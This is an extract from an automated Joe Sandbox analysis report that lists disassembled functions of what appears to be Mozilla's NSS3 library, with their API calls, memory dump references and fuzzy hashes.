Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction ID: db9edd704738a24de1a59480f6ecbafafb22c73816634de4a93cf58a8f18d85c
Opcode Fuzzy Hash: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction Fuzzy Hash: 5851B1B6A001019FEB10EF6ADE48BAA77F8AF48349F250534DC55A7F40EB31E904CB91

Function 6C77FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C77FFE5

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C780004
PR_EnterMonitor.NSS3(?), ref: 6C78001B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction ID: 83b7096c574e666b30792002c40ff27a50eb10af1690090753c351eddb64e07b
Opcode Fuzzy Hash: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction Fuzzy Hash: 9A419A74B47680CFE7304A28CE597EF72A1DB413A8F10053DD25BCAE91D379A549C742

Function 6C73EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C73EF38

Part of subcall function 6C729520: PK11_IsLoggedIn.NSS3(00000000,?,6C75379E,?,00000001,?), ref: 6C729542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C73EF53

Part of subcall function 6C744C20: TlsGetValue.KERNEL32 ref: 6C744C4C
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?), ref: 6C744C60
Part of subcall function 6C744C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
Part of subcall function 6C744C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
Part of subcall function 6C744C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
Part of subcall function 6C744C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A

PR_GetCurrentThread.NSS3 ref: 6C73EF9E

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

free.MOZGLUE(00000000), ref: 6C73EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C73F016
free.MOZGLUE(00000000), ref: 6C73F022

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction ID: 56dd5f85644cd1cc918f8c43192be6192f726761163e3ab74f3a8e8fb56c1c17
Opcode Fuzzy Hash: 91a974605becda432f6b302d22d18925f4ce8a8d237c4db308efd1578e780d39
Instruction Fuzzy Hash: E74193B1E0010AAFDF018FA9DD49BEE7BB9AF48358F044035F918A6351E776C915CBA1

Function 6C72CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C72CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C72D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C72D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72D025
PR_NewLock.NSS3 ref: 6C72D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C72D074

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction ID: 30ed776f6226bcfecebbfe78b4ec263588843d553c8233d72b0f3fe0e3e559cd
Opcode Fuzzy Hash: 57f104fc96329518c8dc2f3a51d985c27a109ea654575d414b6ec998a84dd605
Instruction Fuzzy Hash: 5641E5B1A013018FEB60DF29CA8879ABBE4EF18319F108179DC198F756D778D485CB95

Function 6C773FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C773FF2

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C774001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C77400F

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C774054

Part of subcall function 6C70BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C70BC24
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BC39
Part of subcall function 6C70BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C70BC58
Part of subcall function 6C70BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C70BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C774070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C7740CD

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 05299f607d15fb818be1871abb45bfa2c5cda834ec1b026b466e3652c6c0d3fd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: B231E7B1E0034997EF109F649E4DBBA3364AF9170CF144275ED089B742F772E958CAA2

Function 6C712E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C702D1A), ref: 6C712E7E

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

PR_Now.NSS3 ref: 6C712EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C712EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C702D1A), ref: 6C712F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C702D1A), ref: 6C712F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C712F81

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 685fad8adbe857dfc608c1afa0aed88f9aa82085be9fecf74766d5605e54c072
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 9B3134715091408BF710C665CE4CFAFB2ADEF82318F6C0A79D42997ED1EB31998AC711

Function 6C700E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C700A2C), ref: 6C700E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C700A2C), ref: 6C700E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C700A2C), ref: 6C700E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C700A2C), ref: 6C700E90
free.MOZGLUE(00000000), ref: 6C700EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C700A2C), ref: 6C700ED9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction ID: bd49764ca9f29c7f01c053554f8e40ad384c042d6c9384feb17aab0f8d47fc5e
Opcode Fuzzy Hash: 5341808848a733ce47be796cc097a74d0473c10af030d3c557c43360562ba5c8
Instruction Fuzzy Hash: 17213EF2F0028457EB106D769E49B6B76EEDBC1769F190035DC18B3A02EBB0C81483A2

Function 6C70AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C70AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C70AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C829500), ref: 6C70AF23

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70AF37

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction ID: 45bc6ec29e98b54c1592418af65f074dc87b229dbe17fe395c27837308bece09
Opcode Fuzzy Hash: 765e1b80ab1e619169cddcaba6e6f95034f0ae8f2a180ee9a69a7f2464652634
Instruction Fuzzy Hash: 3C214CF2A05200ABEB108E188E05B9A77E4AF8573CF144324FC149B7D0E731E54587A7

Function 6C78EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85
realloc.MOZGLUE(C9FB05D3,?), ref: 6C78EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C78EEC5

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

htonl.WSOCK32(?), ref: 6C78EEE3
htonl.WSOCK32(00000000,?), ref: 6C78EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C78EF01

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction ID: 0b4fa4d27b3dd2eacb37e896da3fa0fd9fdfca7d5634e2fe29a102ccb75ae591
Opcode Fuzzy Hash: 827c06f6142bb5753058e62d40e86bcfbbbc20eda6c82d5bd49c76047c76d307
Instruction Fuzzy Hash: 0B21E775A012199FDB109F28DD8879A77A8EF45358F148139ED099BA41D730EC14CBF2

Function 6C73EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73EE49

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C73EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C73EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C73EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C73EEB3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 3086a868d171cc1ad9b8b645f6a8b97d1f17debb2452f626c4027a4da019540c
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 6121C6BAA402246BFB118A14DD89EAB77ACEB45708F040174FD089B342EB71DC1487E1

Function 6C707F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C707F68

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C707F7B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C707FA7

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C82919C,?), ref: 6C707FBB

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C707FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C82915C,00000014), ref: 6C707FFE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction ID: 93158149137bb7ad53561251a7940419fc97bc529b00bf5dc744d139c4365460
Opcode Fuzzy Hash: 5562878e8bb37b540b0f583b50d2f6380ef8f817fde6a21dadd44a0a529df189
Instruction Fuzzy Hash: C311E7A1E002045BF710AA259F4CBBB77E8DF4565CF000A29FC59D2B41FB20B949C7A2

Function 6C70BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C78DC29,?), ref: 6C70BE64

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C78DC29,?), ref: 6C70BE78

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C78DC29,?), ref: 6C70BE96

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C78DC29,?), ref: 6C70BEBB

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C78DC29,?), ref: 6C70BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C78DC29,?), ref: 6C70BEF3

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 567c0d15a3e4fcb94b83bed94f6ebfb53dcbddf6302616e4ee2dd11dccf8aaea
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: E11178B1F001155BEB008B659E49FAA37AC9B41359F544034ED09D7B81EB71EA19C7A1
